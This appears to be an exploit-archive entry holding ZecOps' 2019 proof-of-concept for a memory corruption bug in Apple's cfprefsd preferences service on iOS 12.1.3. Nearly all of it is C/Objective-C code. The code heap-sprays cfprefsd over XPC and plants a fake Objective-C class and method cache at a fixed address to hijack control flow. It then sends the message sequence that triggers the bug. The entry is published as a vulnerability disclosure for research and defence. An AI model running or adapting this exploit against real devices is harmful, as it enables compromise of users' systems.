iOS 12.1.3 - 'cfprefsd' Memory Corruption

2019-05-06
ID: 101424
CVE: None
Download vulnerable application: None
// (c) 2019 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
// Intended only for educational and defensive purposes only. 
// Use at your own risk.
 
#include <xpc/xpc.h>
#import <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
 
#define AGENT 1
 
#define FILL_DICT_COUNT 0x600
#define FILL_COUNT 0x1000
#define FREE_COUNT 0x2000
#define FILL_SIZE (0xc0)
 
int need_stop = 0;
 
struct heap_spray {
    void* fake_objc_class_ptr;
    uint32_t r10;
    uint32_t r4;
    void* fake_sel_addr;
    uint32_t r5;
    uint32_t r6;
    uint64_t cmd;
    uint8_t pad1[0x3c];
    uint32_t stack_pivot;
    struct fake_objc_class_t {
        char pad[0x8];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    char command[32];
};
 
void fill_once(){
     
#if AGENT
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
#else
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
#endif
     
    xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
        xpc_type_t t = xpc_get_type(response);
        if (t == XPC_TYPE_ERROR){
            printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
            need_stop = 1 ;
        }
        //printf("received an event\n");
    });
     
    xpc_connection_resume(client);
    xpc_object_t main_dict = xpc_dictionary_create(NULL, NULL, 0);
     
    xpc_object_t arr = xpc_array_create(NULL, 0);
     
    xpc_object_t spray_dict = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(spray_dict, "CFPreferencesOperation", 8);
    xpc_dictionary_set_string(spray_dict, "CFPreferencesDomain", "xpc_str_domain");
    xpc_dictionary_set_string(spray_dict, "CFPreferencesUser", "xpc_str_user");
     
    char key[100];
    char value[FILL_SIZE];
    memset(value, "A", FILL_SIZE);
    *((uint64_t *)value) = 0x4142010180202020;
    //*((uint64_t *)value) = 0x180202020;
    value[FILL_SIZE-1]=0;
    for (int i=0; i<FILL_DICT_COUNT; i++) {
        sprintf(key, "%d",i);
        xpc_dictionary_set_string(spray_dict, key, value);
    }
      
    //NSLog(@"%@", spray_dict);
    for (uint64_t i=0; i<FILL_COUNT; i++) {
        xpc_array_append_value(arr, spray_dict);
    }
     
    xpc_dictionary_set_int64(main_dict, "CFPreferencesOperation", 5);
     
    xpc_dictionary_set_value(main_dict, "CFPreferencesMessages", arr);
 
    void* heap_spray_target_addr = (void*)0x180202000;
    struct heap_spray* map = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
    memset(map, 0, 0x1000);
    struct heap_spray* hs = (struct heap_spray*)((uint64_t)map + 0x20);
    //hs->null0 = 0;
    hs->cmd = -1;
    hs->fake_objc_class_ptr = &hs->fake_objc_class;
    hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
    hs->fake_objc_class.cache_bucket_mask = 0;
    hs->fake_sel_addr = &hs->fake_cache_bucket.cached_sel;
    // nasty hack to find the correct selector address
    hs->fake_cache_bucket.cached_sel = 0x7fff00000000 + (uint64_t)NSSelectorFromString(@"dealloc");
     
    hs->fake_cache_bucket.cached_function = 0xdeadbeef;
    size_t heap_spray_pages = 0x40000;
    size_t heap_spray_bytes = heap_spray_pages * 0x1000;
    char* heap_spray_copies = malloc(heap_spray_bytes);
    for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), map, 0x1000);
    }
    xpc_dictionary_set_data(main_dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
 
    //NSLog(@"%@", main_dict);
    xpc_connection_send_message(client, main_dict);
    printf("fill once\n");
    xpc_release(main_dict);
}
 
void trigger_vul(){
    #if AGENT
        printf("AGENT\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
    #else
        printf("DAEMON\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
    #endif
        xpc_connection_set_event_handler(conn, ^(xpc_object_t response) {
            xpc_type_t t = xpc_get_type(response);
            if (t == XPC_TYPE_ERROR){
                printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
                need_stop = 1 ;
            }
        });
        xpc_connection_resume(conn);
         
        xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
        xpc_object_t arr = xpc_array_create(NULL, 0);
     
        xpc_object_t arr_free = xpc_dictionary_create(NULL, NULL, 0);
        xpc_dictionary_set_int64(arr_free, "CFPreferencesOperation", 4);
        xpc_array_append_value(arr, arr_free);
        for (int i=0; i<FREE_COUNT; i++) {
            xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
            xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 20);
            xpc_array_append_value(arr, arr_elem1);
        }
        //printf("%p, %p\n", arr_elem1, hello);
        xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
        xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);
 
        //NSLog (@"%@", hello);
        fill_once();
        xpc_connection_send_message(conn, hello);
        NSLog(@" trigger vuln");
        xpc_release(hello);
}
 
int main(int argc, const char * argv[]) {
 
    pthread_t fillthread1,triger_thread;
    NSLog(@"start to trigger..");
    trigger_vul();
 
    return 0;
}
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